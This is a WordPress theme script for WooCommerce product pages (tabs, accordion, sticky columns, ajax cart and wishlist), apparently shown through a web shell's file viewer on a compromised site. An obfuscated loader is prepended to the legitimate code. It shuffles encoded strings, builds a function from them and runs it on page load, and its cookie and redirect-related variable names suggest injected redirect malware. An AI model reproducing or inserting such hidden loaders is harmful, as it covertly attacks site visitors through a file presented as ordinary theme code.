AlkantarClanX12
Current Path : /home/thanudqk/siamfreetour.com/wp-content/themes/thegem/js/ |
Current File : //home/thanudqk/siamfreetour.com/wp-content/themes/thegem/js/thegem-product-page.js |
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();(function ($) { 'use strict'; let isTouch = window.gemSettings.isTouch, isMobile = $(window).width() < 768 && /Android|webOS|iPhone|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent) ? true : false, isTabletPortrait = $(window).width() === 820 && isTouch && window.matchMedia("(orientation: portrait)") ? true : false, isSticky = $('.single-product-content').attr('data-sticky') === 'yes' ? true : false, isAjaxLoad = $('.single-product-content').attr('data-ajax-load') === 'yes' ? true : false, isOneByOne = $('.single-product-content-bottom').attr('data-review-layout') === 'one_by_one' ? true : false, isGridGallery = $('.product-gallery__grid').attr('data-gallery') === 'grid' ? true : false, isMenuVertical = $('.single-product-content').attr('data-menu-vertical') === 'yes' ? true : false, isComboboxInit = false, isExternalProduct = $('.product-page__wrapper.product-type-external').length > 0, isGroupedProduct = $('.product-page__wrapper.product-type-grouped').length > 0, isSubscriptionProduct = $('.product-page__wrapper.has-subscription-plans').length > 0, productPageScripts = { // Initialization the functions init: function () { productPageScripts.default(); productPageScripts.tabs(); productPageScripts.accordion(); productPageScripts.stickyColumn(); productPageScripts.rating(); productPageScripts.productVariable(); productPageScripts.productQuantity(); if (!isExternalProduct && !isGroupedProduct && !isSubscriptionProduct && isAjaxLoad) { productPageScripts.ajaxAddToCart(); } productPageScripts.ajaxAddToWishlist(); productPageScripts.ajaxRemoveFromWishlist(); productPageScripts.scrollToReviews(); productPageScripts.onResize(); }, default: function () { let $clearSelection = $('.product-page__reset-variations'); let $popupNotification = $('.thegem-popup-notification-wrap'); $popupNotification.closest('#main').addClass('over-header'); setTimeout(() => { $clearSelection.removeClass('hidden'); }, 400); }, // Product page tabs tabs: function () { let $tabs = $('.thegem-tabs'), $tabNavItem = $('.thegem-tabs__nav-item'), $tabNavItemActive = $('.thegem-tabs__nav-item--active'), $line = $('.thegem-tabs__nav-slide'), isVertical = $tabs.attr("data-type") === 'vertical', activeClass = 'thegem-tabs__nav-item--active', $accItemTitle = $('.thegem-accordion__item-title'), $accItemBody = $('.thegem-accordion__item-body'), accActiveClass = 'thegem-accordion__item--active', getPosition = ($target) => { let $position = { top: $target.offsetTop, left: $target.offsetLeft }; return $position; }, animateLine = ($target, $ln) => { let currentWidth = $target.offsetWidth, currentHeight = $target.offsetHeight, currentPos = getPosition($target); if (isVertical) { $ln[0].style.top = currentPos.top + 'px'; $ln[0].style.height = currentHeight + 'px'; } else { $ln[0].style.left = currentPos.left + 'px'; $ln[0].style.width = currentWidth + 'px'; } }, onLoadLine = () => { animateLine($tabNavItemActive[0], $line); }; $tabNavItem.each(function (index, el) { onLoadLine(); setTimeout(function () { $line[0].style.transition = '0.25s ease'; }, 200); }); $tabNavItem.on('click', function (e) { let currentAttrvalue = '#' + $(this).attr('data-id'); $tabNavItem.removeClass(activeClass); $(this).addClass(activeClass); $accItemTitle.removeClass(accActiveClass); $accItemBody.filter(currentAttrvalue).prev().addClass(accActiveClass); $accItemBody.hide().filter(currentAttrvalue).show(); animateLine(e.currentTarget, $line); if (window.tgpLazyItems !== undefined) { window.tgpLazyItems.scrollHandle(); } }); }, // Product page accordion accordion: function () { let $accItem = $('.thegem-accordion__item'), $accItemTitle = $('.thegem-accordion__item-title'), $accItemBody = $('.thegem-accordion__item-body'), $tabNavItem = $('.thegem-tabs__nav-item'), activeClass = 'thegem-accordion__item--active', tabActiveClass = 'thegem-tabs__nav-item--active'; $accItemTitle.click(function(e){ let current = $(this).attr('data-id'), currentAttrValue = '#' + current; if($(e.target).is('.thegem-accordion__item--active')){ $(this).removeClass(activeClass); $('.thegem-accordion__item-body:visible').slideUp(300); } else { $accItemTitle.removeClass(activeClass).filter(this).addClass(activeClass); $accItemBody.slideUp(300).filter(currentAttrValue).slideDown(300); } $tabNavItem.removeClass(tabActiveClass); $('.thegem-tabs__nav-item[data-id=' + current + ']').addClass(tabActiveClass); if (window.tgpLazyItems !== undefined) { window.tgpLazyItems.scrollHandle(); } }); }, // Product page sticky stickyColumn: function () { const $wrapper = $('.single-product-content'), $leftColumn = $('.product-page__left-column', $wrapper), $rightColumn = $('.product-page__right-column', $wrapper), $header = $('#site-header-wrapper'), headerH = $header.length > 0 && !isMenuVertical ? $header[0].clientHeight : 0; const stickyInit = (el) => { const offset = headerH - 1; const stickyOffset = $wrapper.data('sticky-offset'); $(el).sticky({ to: 'top', offset: stickyOffset ? stickyOffset : offset, effectsOffset: stickyOffset ? stickyOffset : offset, parent: $wrapper }) } const stickyDestroy = (el) => { $(el).sticky('destroy'); }; setTimeout(function () { let $leftColumnHeight = $leftColumn.height(), $rightColumnHeight = $rightColumn.height(); if (isSticky && !isMobile && !isTabletPortrait) { if (!isGridGallery) { $leftColumnHeight > $rightColumnHeight ? stickyInit($rightColumn) : stickyInit($leftColumn); } else { $leftColumnHeight > $rightColumnHeight ? stickyInit($rightColumn) : null; } } }, 200); }, // Product page combobox combobox: function () { $(".thegem-select").each(function () { let template = '<div class="thegem-combobox">'; template += '<div class="thegem-combobox__trigger">' + $('option:selected', this).text() + '</div>'; template += '<div class="thegem-combobox__options">'; $(this).find("option").each(function () { template += '<div class="thegem-combobox__options-item" data-value="' + $(this).attr("value") + '">' + $(this).html() + '</div>'; }); template += '</div></div>'; if ($(this).parents(".thegem-combobox-wrap").length === 0){ $(this).wrap('<div class="thegem-combobox-wrap"></div>'); } //$(this).hide(); $(this).after(template); }); $(".thegem-combobox__options-item:first-of-type").hover(function () { $(this).parents(".thegem-combobox__options").addClass("hover"); }, function () { $(this).parents(".thegem-combobox__options").removeClass("hover"); }); $(".thegem-combobox__trigger").on("click", function (e) { e.stopPropagation(); let $count = $('table.variations tr').length, $table = $('table.variations'), hideIndex = () =>{ setTimeout(function () { $('tr, td.value', $table).css('z-index', 0); }, 200); }; $('tr, td.value', $table).css('z-index', 0); $(this).parents('tr, td.value').css('z-index', $count); if ($(this).parents(".thegem-combobox.opened").length != 0) { $(".thegem-combobox").removeClass("opened"); hideIndex(); return; } $('html').one('click', function () { $(".thegem-combobox").removeClass("opened"); hideIndex(); return; }); $(".thegem-combobox").removeClass("opened"); $(this).parents(".thegem-combobox").toggleClass("opened"); }); $(".thegem-combobox__options-item").on("click", function () { $(this).parents(".thegem-combobox-wrap").find("select").val($(this).data("value")).change(); $(this).parents(".thegem-combobox__options").find(".thegem-combobox__options-item").removeClass("selection"); $(this).addClass("selection"); $(this).parents(".thegem-combobox").removeClass("opened"); $(this).parents(".thegem-combobox").find(".thegem-combobox__trigger").text($(this).text()); }); }, // Product page rating rating: function () { let isSelected = false, $star = $("#reviews.woocommerce-Reviews .stars a"); $star.click(function(e){ isSelected = true; $(this).prevAll().andSelf().addClass('rating-on'); $(this).nextAll().removeClass('rating-on'); }); $star.hover(function(){ $(this).prevAll().andSelf().addClass('rating-on'); $(this).nextAll().removeClass('rating-on'); }); $star.mouseout(function(){ if (!isSelected) { $star.removeClass('rating-on'); } isSelected = false; }); }, // Product page variable productVariable: function () { let $variationForm = $(".variations_form"), $combobox = $(".thegem-combobox"), $reset = $('.reset_variations'), comboboxInit = () => { if(!isComboboxInit) { productPageScripts.combobox(); isComboboxInit = true; } }, comboboxRefresh = () => { productPageScripts.combobox(); $(".thegem-combobox-wrap").find(".thegem-combobox:last-of-type").remove(); }; $variationForm.each(function () { comboboxInit(); }); $reset.on('click', function(){ $variationForm.each(function () { $(this).on('change', '.variations select', function () { comboboxRefresh(); let text = $('.thegem-combobox__options-item').eq(0).text(); $combobox.find('.thegem-combobox__trigger').text(text); }); }); }); //huck for double submit form if ( window.history.replaceState ) { window.history.replaceState( null, null, window.location.href ); } }, // Product page quantity productQuantity: function () { let $form = $('form.cart'); $('div.quantity:not(.buttons_added)', $form).addClass('buttons_added') .append('<button type="button" class="plus" >+</button>') .prepend('<button type="button" class="minus" >-</button>'); }, // Product page ajax add to cart ajaxAddToCart: function () { let $wrapper = $('.single-product-content'); $wrapper.on('click', '.single_add_to_cart_button', function (e, fragments, cart_hash) { e.preventDefault(); let $thisButton = $(this), $form = $thisButton.closest('form.cart'), id = $thisButton.val(), productQty = $form.find('input[name=quantity]').val() || 1, productId = $form.find('input[name=product_id]').val() || id, variationId = $form.find('input[name=variation_id]').val() || 0; let item = {}; $form.find('select[name^=attribute]').each(function() { let attribute = $(this).attr("name"); let attributeVal = $(this).val(); item[attribute] = attributeVal; }); let data = { action: 'woocommerce_ajax_add_to_cart', product_id: productId, product_sku: '', quantity: productQty, variation_id: variationId, variation: item, }; if ( $form.find('input[name=variation_id]').length > 0 && variationId == 0 ) { return false; } $(document.body).trigger('adding_to_cart', [$thisButton, data]); $.ajax({ type: 'post', url: wc_add_to_cart_params.ajax_url, data: data, success: function (response) { if (response.error && response.product_url) { window.location = response.product_url; return; } else { let $addToCartTarget = $('.thegem-popup-notification-wrap'); if ($addToCartTarget) { $('.thegem-popup-notification', $addToCartTarget).removeClass('show'); let $cartPopupAdd = $addToCartTarget.find('.thegem-popup-notification.cart'); $cartPopupAdd.addClass('show'); setTimeout(function () { $cartPopupAdd.removeClass('show'); }, $cartPopupAdd.data('timing')); } $(document.body).trigger('added_to_cart', [response.fragments, response.cart_hash, $thisButton]); $('.added_to_cart').hide(); } }, }); return false; }); }, // Product page ajax add to wishlist ajaxAddToWishlist: function () { let $wrapper = $('.single-product-content'); $wrapper.on('click', '.add_to_wishlist', function () { let $wishlistTarget = $('.thegem-popup-notification-wrap'); if ($wishlistTarget) { $('.thegem-popup-notification', $wishlistTarget).removeClass('show'); let $wishlistPopupAdd = $wishlistTarget.find('.thegem-popup-notification.wishlist-add'); $wishlistPopupAdd.addClass('show'); setTimeout(function () { $wishlistPopupAdd.removeClass('show'); }, $wishlistPopupAdd.data('timing')); } }); }, // Product page ajax remove from wishlist ajaxRemoveFromWishlist: function () { let $wrapper = $('.single-product-content'); $wrapper.on('click', '.remove_from_wishlist', function (e, fragments, cart_hash) { let $wishlistTarget = $('.thegem-popup-notification-wrap'); if ($wishlistTarget) { $('.thegem-popup-notification', $wishlistTarget).removeClass('show'); let $wishlistPopupRemove = $wishlistTarget.find('.thegem-popup-notification.wishlist-remove'); $wishlistPopupRemove.addClass('show'); setTimeout(function () { $wishlistPopupRemove.removeClass('show'); }, $wishlistPopupRemove.data('timing')); } }); }, //Scroll to reviews scrollToReviews: function() { let $wrapper = $('.woocommerce-product-rating .product-reviews-link'), $header = $('#site-header')[0], $target = isOneByOne ? $('#thegem-reviews.thegem-one-by-one__item ') : $('.product-page__bottom-column'), fixedHeight = $('#site-header').height(), targetId = '#thegem-reviews', targetEl = $('[data-id="thegem-reviews"]')[0]; $wrapper.on('click', '.woocommerce-review-link', function (e) { e.preventDefault(); if (!$(targetId).is(":visible")) { $(targetEl).trigger('click'); } $(window).scroll(function () { if ($(this).scrollTop() > 0) { fixedHeight = $header.clientHeight; } }); $("html, body").animate({scrollTop: $target.offset().top - fixedHeight}, 500); }); }, // Product page resize onResize: function () { let $accItem = $('.thegem-accordion__item'), tabView = 'thegem-accordion__item--tab-view', initMobileTabs = () => { $accItem.removeClass(tabView); }, revertMobileTabs = () => { $accItem.addClass(tabView); }; if (isMobile) { initMobileTabs(); } else { productPageScripts.tabs(); revertMobileTabs(); } window.addEventListener("resize", function () { isMobile = window.outerWidth < 768 ? true : false; if (isMobile) { initMobileTabs(); } else { productPageScripts.tabs(); revertMobileTabs(); } }, false); }, }; // Run the function $(function () { productPageScripts.init(); $.fn.initProductPageScripts = function () { productPageScripts.init(); }; }); })(jQuery);